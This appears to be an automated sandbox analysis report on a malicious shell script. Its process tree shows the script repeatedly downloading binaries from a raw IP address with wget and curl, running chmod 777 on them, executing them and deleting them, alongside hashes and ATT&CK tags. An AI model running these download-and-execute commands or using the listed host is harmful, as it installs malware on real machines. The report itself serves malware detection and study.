955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/07/2026, 12:00

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General

Target
955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
Size 1KB
Sample260729-n6tkpatble
SHA256 955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278
MD5 820f5f51c57a9cb1373c9a8367a507e4
SHA1 96283753ee2e5e80dac6e1c51d2792a43c4f5689
SHA512 ba7789df37fbef9031515502b1b0e00ed220029fa79e3c6d96607e81b3027044aa33986a92dc44d461f41fba0b2aa23983f85d10ad3c39cc2fcdd23c4dddbbf3
TLSH
T1373101DF54506A3A1302CDCE73BB3658B50C81FF289BD750D9894EA982989CCB262FD5
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
679	chmod
686	chmod
703	chmod
750	chmod
766	chmod
781	chmod
671	chmod
725	chmod
759	chmod
805	chmod
817	chmod
824	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/655399	673	955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
/tmp/dc20a8	680	955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
/tmp/4a720d	687	955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
/tmp/449ce2	704	955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
/tmp/32f59e	726	955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
/tmp/4317af	752	955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
/tmp/38e096	760	955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
/tmp/f3bb28	767	955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
/tmp/75745b	783	955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
/tmp/4404fc	806	955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
/tmp/12c344	818	955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
/tmp/76f32c	825	955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/655399	curl
File opened for modification	/tmp/dc20a8	curl
File opened for modification	/tmp/4a720d	curl
File opened for modification	/tmp/32f59e	curl
File opened for modification	/tmp/38e096	curl
File opened for modification	/tmp/f3bb28	curl
File opened for modification	/tmp/4404fc	curl
File opened for modification	/tmp/12c344	curl
File opened for modification	/tmp/449ce2	curl
File opened for modification	/tmp/4317af	curl
File opened for modification	/tmp/75745b	curl
File opened for modification	/tmp/76f32c	curl

/tmp/955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
/tmp/955e528e5783ef01dd38beaf307301791235123867743a7a62424b3fd4646278.sh
1⤵
- Executes dropped EXE
PID:643
- /usr/bin/wget
  wget http://5.182.210.61/655399
  2⤵
  PID:648
- /usr/bin/curl
  curl -O http://5.182.210.61/655399
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:663
- /bin/chmod
  chmod 777 655399
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/655399
  ./655399 bc
  2⤵
  PID:673
- /bin/rm
  rm -rf 655399
  2⤵
  PID:675
- /bin/rm
  rm -rf 655399.1
  2⤵
  PID:676
- /usr/bin/wget
  wget http://5.182.210.61/dc20a8
  2⤵
  PID:677
- /usr/bin/curl
  curl -O http://5.182.210.61/dc20a8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/chmod
  chmod 777 dc20a8
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /tmp/dc20a8
  ./dc20a8 bc
  2⤵
  PID:680
- /bin/rm
  rm -rf dc20a8
  2⤵
  PID:682
- /bin/rm
  rm -rf dc20a8.1
  2⤵
  PID:683
- /usr/bin/wget
  wget http://5.182.210.61/4a720d
  2⤵
  PID:684
- /usr/bin/curl
  curl -O http://5.182.210.61/4a720d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/chmod
  chmod 777 4a720d
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/4a720d
  ./4a720d bc
  2⤵
  PID:687
- /bin/rm
  rm -rf 4a720d
  2⤵
  PID:689
- /bin/rm
  rm -rf 4a720d.1
  2⤵
  PID:690
- /usr/bin/wget
  wget http://5.182.210.61/449ce2
  2⤵
  PID:691
- /usr/bin/curl
  curl -O http://5.182.210.61/449ce2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:694
- /bin/chmod
  chmod 777 449ce2
  2⤵
  - File and Directory Permissions Modification
  PID:703
- /tmp/449ce2
  ./449ce2 bc
  2⤵
  PID:704
- /bin/rm
  rm -rf 449ce2
  2⤵
  PID:707
- /bin/rm
  rm -rf 449ce2.1
  2⤵
  PID:709
- /usr/bin/wget
  wget http://5.182.210.61/32f59e
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://5.182.210.61/32f59e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:717
- /bin/chmod
  chmod 777 32f59e
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/32f59e
  ./32f59e bc
  2⤵
  PID:726
- /bin/rm
  rm -rf 32f59e
  2⤵
  PID:729
- /bin/rm
  rm -rf 32f59e.1
  2⤵
  PID:730
- /usr/bin/wget
  wget http://5.182.210.61/4317af
  2⤵
  PID:732
- /usr/bin/curl
  curl -O http://5.182.210.61/4317af
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod 777 4317af
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/4317af
  ./4317af bc
  2⤵
  PID:752
- /bin/rm
  rm -rf 4317af
  2⤵
  PID:754
- /bin/rm
  rm -rf 4317af.1
  2⤵
  PID:755
- /usr/bin/wget
  wget http://5.182.210.61/38e096
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://5.182.210.61/38e096
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 38e096
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/38e096
  ./38e096 bc
  2⤵
  PID:760
- /bin/rm
  rm -rf 38e096
  2⤵
  PID:762
- /bin/rm
  rm -rf 38e096.1
  2⤵
  PID:763
- /usr/bin/wget
  wget http://5.182.210.61/f3bb28
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://5.182.210.61/f3bb28
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod 777 f3bb28
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/f3bb28
  ./f3bb28 bc
  2⤵
  PID:767
- /bin/rm
  rm -rf f3bb28
  2⤵
  PID:769
- /bin/rm
  rm -rf f3bb28.1
  2⤵
  PID:770
- /usr/bin/wget
  wget http://5.182.210.61/75745b
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://5.182.210.61/75745b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod 777 75745b
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/75745b
  ./75745b bc
  2⤵
  PID:783
- /bin/rm
  rm -rf 75745b
  2⤵
  PID:786
- /bin/rm
  rm -rf 75745b.1
  2⤵
  PID:787
- /usr/bin/wget
  wget http://5.182.210.61/4404fc
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://5.182.210.61/4404fc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod 777 4404fc
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/4404fc
  ./4404fc bc
  2⤵
  PID:806
- /bin/rm
  rm -rf 4404fc
  2⤵
  PID:809
- /bin/rm
  rm -rf 4404fc.1
  2⤵
  PID:810
- /usr/bin/wget
  wget http://5.182.210.61/12c344
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://5.182.210.61/12c344
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod 777 12c344
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/12c344
  ./12c344 bc
  2⤵
  PID:818
- /bin/rm
  rm -rf 12c344
  2⤵
  PID:820
- /bin/rm
  rm -rf 12c344.1
  2⤵
  PID:821
- /usr/bin/wget
  wget http://5.182.210.61/76f32c
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://5.182.210.61/76f32c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 76f32c
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/76f32c
  ./76f32c bc
  2⤵
  PID:825
- /bin/rm
  rm -rf 76f32c
  2⤵
  PID:827
- /bin/rm
  rm -rf 76f32c.1
  2⤵
  PID:828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

655399

Path /tmp/655399
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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